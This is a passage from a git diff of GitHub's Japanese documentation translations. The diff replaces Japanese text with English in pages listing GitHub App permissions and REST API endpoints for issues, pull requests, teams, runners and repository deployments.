/user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (:read) - [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (:write) - [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (:write) {% endif %} -### "issues"に対する権限 +### Permission on "issues" -Issueとプルリクエストには密接な関係があります。 詳細は、「[認証済みユーザに割り当てられたIssueのリスト](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)」を参照してください。 GitHub Appに、Issueに対する権限があってプルリクエストに対する権限がない場合、そのエンドポイントはIssueに限定されます。 Issueとプルリクエストの両方を返すエンドポイントがフィルターされます。 Issueとプルリクエストの両方に対する操作が可能なエンドポイントは、Issueに限定されます。 +Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues. - [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (:read) - [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (:write) @@ -497,17 +502,17 @@ Issueとプルリクエストには密接な関係があります。 詳細は - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) -_アサインされた人_ +_Assignees_ - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read) - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write) - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write) -_イベント_ +_Events_ - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read) - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read) -_ラベル_ +_Labels_ - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write) - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write) @@ -519,7 +524,7 @@ _ラベル_ - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write) - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write) -_マイルストーン_ +_Milestones_ - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read) - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read) @@ -527,7 +532,7 @@ _マイルストーン_ - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read) -_リアクション_ +_Reactions_ - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) - [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (:read) @@ -544,15 +549,15 @@ _リアクション_ - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write) {% endif %} -### "keys"に対する権限 +### Permission on "keys" -_キー_ +_Keys_ - [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (:read) - [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (:write) - [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (:read) - [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (:write) -### "members"に対する権限 +### Permission on "members" {% ifversion fpt -%} - [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (:write) @@ -587,14 +592,14 @@ _キー_ {% endif %} {% ifversion fpt or ghec %} -_招待_ +_Invitations_ - [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (:read) - [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (:write) - [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (:read) - [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (:read) {% endif %} -_Organizationメンバー_ +_Organization members_ - [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (:write) - [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (:read) - [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (:write) @@ -605,13 +610,13 @@ _Organizationメンバー_ - [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (:read) - [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (:write) -_Teamメンバー_ +_Team members_ - [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (:read) - [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (:read) - [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (:write) - [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (:write) -_Team_ +_Teams_ - [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (:read) - [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (:write) - [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (:read) @@ -629,7 +634,7 @@ _Team_ - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write) - [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (:read) -### "organization administration"に対する権限 +### Permission on "organization administration" - [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (:write) {% ifversion fpt -%} @@ -642,11 +647,11 @@ _Team_ - [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (:write) {% endif %} -### "organization events"に対する権限 +### Permission on "organization events" - [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (:read) -### "organization hooks"に対する権限 +### Permission on "organization hooks" - [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (:read) - [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (:write) @@ -655,11 +660,11 @@ _Team_ - [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (:write) - [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (:write) -_Team_ +_Teams_ - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read) {% ifversion ghes %} -### "organization pre receive hooks"に対する権限 +### Permission on "organization pre receive hooks" - [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (:read) - [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (:read) @@ -667,7 +672,7 @@ _Team_ - [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (:write) {% endif %} -### "organization projects"に対する権限 +### Permission on "organization projects" - [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (:write) - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read) @@ -688,7 +693,7 @@ _Team_ - [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (:write) {% ifversion fpt or ghec %} -### "organization user blocking"に対する権限 +### Permission on "organization user blocking" - [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (:read) - [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (:read) @@ -696,7 +701,7 @@ _Team_ - [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (:write) {% endif %} -### "pages"に対する権限 +### Permission on "pages" - [`GET /repos/:owner/:repo/pages`](/rest/reference/repos#get-a-github-pages-site) (:read) - [`POST /repos/:owner/:repo/pages`](/rest/reference/repos#create-a-github-pages-site) (:write) @@ -710,9 +715,9 @@ _Team_ - [`GET /repos/:owner/:repo/pages/health`](/rest/reference/repos#get-a-dns-health-check-for-github-pages) (:write) {% endif %} -### "pull requests"に対する権限 +### Permission on "pull requests" -Pull RequestとIssueには密接な関係があります。 GitHub Appに、Pull Requestに対する権限があってIssueに対する権限がない場合、そのエンドポイントはPull Requestに限定されます。 Pull RequestとIssueの両方を返すエンドポイントがフィルターされます。 Pull RequestとIssueの両方に対する操作が可能なエンドポイントは、Pull Requestに限定されます。 +Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests. - [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (:write) - [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (:read) @@ -738,18 +743,18 @@ Pull RequestとIssueには密接な関係があります。 GitHub Appに、Pull - [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (:write) - [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (:write) -_アサインされた人_ +_Assignees_ - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read) - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write) - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write) -_イベント_ +_Events_ - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read) - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (:write) -_ラベル_ +_Labels_ - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write) - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write) @@ -761,7 +766,7 @@ _ラベル_ - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write) - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write) -_マイルストーン_ +_Milestones_ - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read) - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read) @@ -769,7 +774,7 @@ _マイルストーン_ - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read) -_リアクション_ +_Reactions_ - [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (:write) - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) @@ -787,12 +792,12 @@ _リアクション_ - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write) {% endif %} -_リクエストされたレビュー担当者_ +_Requested reviewers_ - [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (:write) - [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (:write) -_レビュー_ +_Reviews_ - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (:write) - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (:read) @@ -801,11 +806,11 @@ _レビュー_ - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (:read) - [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (:write) -### "profile"に対する権限 +### Permission on "profile" - [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (:write) -### "repository hooks"に対する権限 +### Permission on "repository hooks" - [`GET /repos/:owner/:repo/hooks`](/rest/reference/repos#list-repository-webhooks) (:read) - [`POST /repos/:owner/:repo/hooks`](/rest/reference/repos#create-a-repository-webhook) (:write) @@ -816,7 +821,7 @@ _レビュー_ - [`POST /repos/:owner/:repo/hooks/:hook_id/tests`](/rest/reference/repos#test-the-push-repository-webhook) (:read) {% ifversion ghes %} -### "repository pre receive hooks"に対する権限 +### Permission on "repository pre receive hooks" - [`GET /repos/:owner/:repo/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) (:read) - [`GET /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) (:read) @@ -824,7 +829,7 @@ _レビュー_ - [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (:write) {% endif %} -### "repository projects"に対する権限 +### Permission on "repository projects" - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read) - [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (:write) @@ -845,11 +850,11 @@ _レビュー_ - [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (:read) - [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (:write) -_Team_ +_Teams_ - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read) {% ifversion fpt or ghec %} -### "secrets"に対する権限 +### Permission on "secrets" - [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (:read) - [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (:read) @@ -868,14 +873,14 @@ _Team_ {% endif %} {% ifversion fpt or ghes > 3.0 or ghec %} -### "secret scanning alerts"に対する権限 +### Permission on "secret scanning alerts" - [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (:read) - [`PATCH /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) (:write) {% endif %} -### "security events"に対する権限 +### Permission on "security events" - [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (:read) @@ -896,34 +901,39 @@ _Team_ {% endif -%} {% ifversion fpt or ghes or ghec %} -### "self-hosted runners"に対する権限 +### Permission on "self-hosted runners" - [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (:read) - [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (:write) - [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (:read) - [`GET /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) (:read) - [`POST /orgs/:org/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) (:write) - [`DELETE /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) (:write) +- [`GET /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) (:read) +- [`POST /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) (:write) +- [`PUT /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) (:write) +- [`DELETE /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) (:write) +- [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (:write) {% endif %} -### "single file"に対する権限 +### Permission on "single file" - [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (:read) - [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (:write) - [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (:write) -### "starring"に対する権限 +### Permission on "starring" - [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (:read) - [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (:write) - [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (:write) -### "statuses"に対する権限 +### Permission on "statuses" - [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) (:read) - [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/repos#list-commit-statuses-for-a-reference) (:read) - [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/repos#create-a-commit-status) (:write) -### "team discussions"に対する権限 +### Permission on "team discussions" - [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (:read) - [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (:write) diff --git a/translations/ja-JP/content/rest/reference/repos.md b/translations/ja-JP/content/rest/reference/repos.md index c154a4f19b..ca85509c37 100644 --- a/translations/ja-JP/content/rest/reference/repos.md +++ b/translations/ja-JP/content/rest/reference/repos.md @@ -1,5 +1,5 @@ --- -title: リポジトリ +title: Repositories intro: 'The Repos API allows to create, manage and control the workflow of public and private {% data variables.product.product_name %} repositories.' allowTitleToDifferFromFilename: true redirect_from: @@ -21,12 +21,6 @@ miniTocMaxHeadingLevel: 3 {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4742 %} ## Autolinks -{% tip %} - -**Note:** The Autolinks API is in beta and may change. - -{% endtip %} - To help streamline your workflow, you can use the API to add autolinks to external resources like JIRA issues and Zendesk tickets. For more information, see "[Configuring autolinks to reference external resources](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)." {% data variables.product.prodname_github_apps %} require repository administration permissions with read or write access to use the Autolinks API. @@ -36,45 +30,46 @@ To help streamline your workflow, you can use the API to add autolinks to extern {% endfor %} {% endif %} -## ブランチ +## Branches {% for operation in currentRestOperations %} {% if operation.subcategory == 'branches' %}{% include rest_operation %}{% endif %} {% endfor %} -## コラボレータ +## Collaborators {% for operation in currentRestOperations %} {% if operation.subcategory == 'collaborators' %}{% include rest_operation %}{% endif %} {% endfor %} -## コメント +## Comments -### コミットコメントのカスタムメディアタイプ +### Custom media types for commit comments -以下がコミットコメントでサポートされているメディアタイプです。 You can read more about the use of media types in the API [here](/rest/overview/media-types). +These are the supported media types for commit comments. You can read more +about the use of media types in the API [here](/rest/overview/media-types). application/vnd.github-commitcomment.raw+json application/vnd.github-commitcomment.text+json application/vnd.github-commitcomment.html+json application/vnd.github-commitcomment.full+json -詳しい情報については、「[カスタムメディアタイプ](/rest/overview/media-types)」を参照してください。 +For more information, see "[Custom media types](/rest/overview/media-types)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %} {% endfor %} -## コミット +## Commits -Repo Commits API は、リポジトリ内の子コミットのリスティング、表示、比較をサポートしています。 +The Repo Commits API supports listing, viewing, and comparing commits in a repository. {% for operation in currentRestOperations %} {% if operation.subcategory == 'commits' %}{% include rest_operation %}{% endif %} {% endfor %} {% ifversion fpt or ghec %} -## コミュニティ +## Community {% for operation in currentRestOperations %} {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %} @@ -82,54 +77,56 @@ Repo Commits API は、リポジトリ内の子コミットのリスティング {% endif %} -## コンテンツ +## Contents -これらの API エンドポイントを使用すると、リポジトリ内の Base64 でエンコードされたコンテンツを作成、変更、削除できます。 Raw 形式またはレンダリングされた HTML (サポートされている場合) をリクエストするには、リポジトリのコンテンツにカスタムメディアタイプを使用します。 +These API endpoints let you create, modify, and delete Base64 encoded content in a repository. To request the raw format or rendered HTML (when supported), use custom media types for repository contents. -### リポジトリコンテンツのカスタムメディアタイプ +### Custom media types for repository contents [READMEs](/rest/reference/repos#get-a-repository-readme), [files](/rest/reference/repos#get-repository-content), and [symlinks](/rest/reference/repos#get-repository-content) support the following custom media types: application/vnd.github.VERSION.raw application/vnd.github.VERSION.html -ファイルのコンテンツを取得するには、`.raw` メディアタイプを使ってください。 +Use the `.raw` media type to retrieve the contents of the file. -Markdown や AsciiDoc などのマークアップファイルでは、`.html` メディアタイプを使用して、レンダリングされた HTML を取得できます。 マークアップ言語は、オープンソースの[マークアップライブラリ](https://github.com/github/markup)を使用して HTML にレンダリングされます。 +For markup files such as Markdown or AsciiDoc, you can retrieve the rendered HTML using the `.html` media type. Markup languages are rendered to HTML using our open-source [Markup library](https://github.com/github/markup). [All objects](/rest/reference/repos#get-repository-content) support the following custom media type: application/vnd.github.VERSION.object -コンテンツのタイプに関係なく、一貫したオブジェクトフォーマットを取得するには、`object` メディアタイプパラメータを使用します。 たとえば、レスポンスはディレクトリに対するオブジェクトの配列ではなく、オブジェクトの配列を含む `entries` 属性のオブジェクトになります。 +Use the `object` media type parameter to retrieve the contents in a consistent object format regardless of the content type. For example, instead of an array of objects +for a directory, the response will be an object with an `entries` attribute containing the array of objects. -API でのメディアタイプの使用について詳しくは、[こちら](/rest/overview/media-types)をご覧ください。 +You can read more about the use of media types in the API [here](/rest/overview/media-types). {% for operation in currentRestOperations %} {% if operation.subcategory == 'contents' %}{% include rest_operation %}{% endif %} {% endfor %} -## デプロイキー +## Deploy keys {% data reusables.repositories.deploy-keys %} -デプロイキーは、以下の API エンドポイントを使用するか、GitHub を使用することでセットアップできます。 GitHub でデプロイキーを設定する方法については、「[デプロイキーを管理する](/developers/overview/managing-deploy-keys)」を参照してください。 +Deploy keys can either be setup using the following API endpoints, or by using GitHub. To learn how to set deploy keys up in GitHub, see "[Managing deploy keys](/developers/overview/managing-deploy-keys)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %} {% endfor %} -## デプロイメント +## Deployments -デプロイメントとは、特定の ref (ブランチ、SHA、タグ) を配備するためるリクエストです。 GitHub は、 外部サーバーがリッスンでき、新しいデプロイメントが作成されたときに実行される [`deployment` イベント](/developers/webhooks-and-events/webhook-events-and-payloads#deployment)をディスバッチします。 デプロイメントにより、開発者や Organization はデプロイメントを中心として、さまざまな種類のアプリケーション (ウェブ、ネイティブなど) を提供するための実装に関する詳細を気にすることなく、疎結合ツールを構築できます。 +Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native). -デプロイメントのステータスを使用すると、外部サービスがデプロイメントに `error`、`failure`、`pending`、`in_progress`、`queued`、`success` ステータスを付けることができ、[`deployment_status` イベント](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status)をリッスンするシステムがその情報を使用できます。 +Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume. -デプロイメントのステータスには、オプションとして `description` と `log_url` を含めることもできます。これによりデプロイメントのステータスがより有用なものになるので、非常におすすめです。 `log_url` はデプロイメントの出力の完全な URL で、`description` はデプロイメントで発生したことの概要を示すものです。 +Deployment statuses can also include an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and +the `description` is a high-level summary of what happened with the deployment. -GitHub は、新しいデプロイメント、デプロイメントのステータスが作成されたときに、`deployment` イベント、`deployment_status` イベントをディスパッチします。 これらのイベントにより、サードパーティのインテグレーションがデプロイメントのリクエストに対する応答を受けとり、進展があるたびにステータスを更新できます。 +GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allows third-party integrations to receive respond to deployment requests and update the status of a deployment as progress is made. -以下は、これらの相互作用がどのように機能するかを示す簡単なシーケンス図です。 +Below is a simple sequence diagram for how these interactions would work. ``` +---------+ +--------+ +-----------+ +-------------+ @@ -158,25 +155,25 @@ GitHub は、新しいデプロイメント、デプロイメントのステー | | | | ``` -GitHub は、あなたのサーバーに実際にアクセスすることはないということは覚えておきましょう。 デプロイメントイベントとやり取りするかどうかは、サードパーティインテグレーション次第です。 複数のシステムがデプロイメントイベントをリッスンできます。コードをサーバーにプッシュする、ネイティブコードを構築するなどを行うかどうかは、それぞれのシステムが決めることができます。 +Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc. Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well. -### 非アクティブのデプロイメント +### Inactive deployments -When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. これを回避するには、デプロイメントのステータスを作成する前に、`auto_inactive` を `false` に設定します。 +When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status. -`state` を `inactive` に設定することで、一時的な環境が存在しなくなったことを伝えることができます。 `state` を `inactive` に設定すると、{% data variables.product.prodname_dotcom %} でデプロイメントが `destroyed` と表示され、アクセス権が削除されます。 +You can communicate that a transient environment no longer exists by setting its `state` to `inactive`. Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'deployments' %}{% include rest_operation %}{% endif %} {% endfor %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## 環境 +## Environments -Environments APIを使うと、環境を作成、設定、削除できます。 For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." 環境のシークレットの管理については「[シークレット](/rest/reference/actions#secrets)」を参照してください。 +The Environments API allows you to create, configure, and delete environments. For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." To manage environment secrets, see "[Secrets](/rest/reference/actions#secrets)." {% data reusables.gated-features.environments %} @@ -185,21 +182,23 @@ Environments APIを使うと、環境を作成、設定、削除できます。 {% endfor %} {% endif %} -## フォーク +## Forks {% for operation in currentRestOperations %} {% if operation.subcategory == 'forks' %}{% include rest_operation %}{% endif %} 